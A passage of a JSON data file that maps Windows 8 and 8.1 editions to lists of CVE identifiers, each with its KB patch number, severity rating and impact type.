Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"}],"Windows 8 for 32-bit Systems":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121461","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121461","severity":"Important","impact":"Remote Code Execution"}],"Windows 8 for x64-based Systems":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"}],"Windows 8.1 for 32-bit Systems":[{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"}],"Windows 8.1 for 32-bit systems":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3185331","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Important","impact":"Elevation 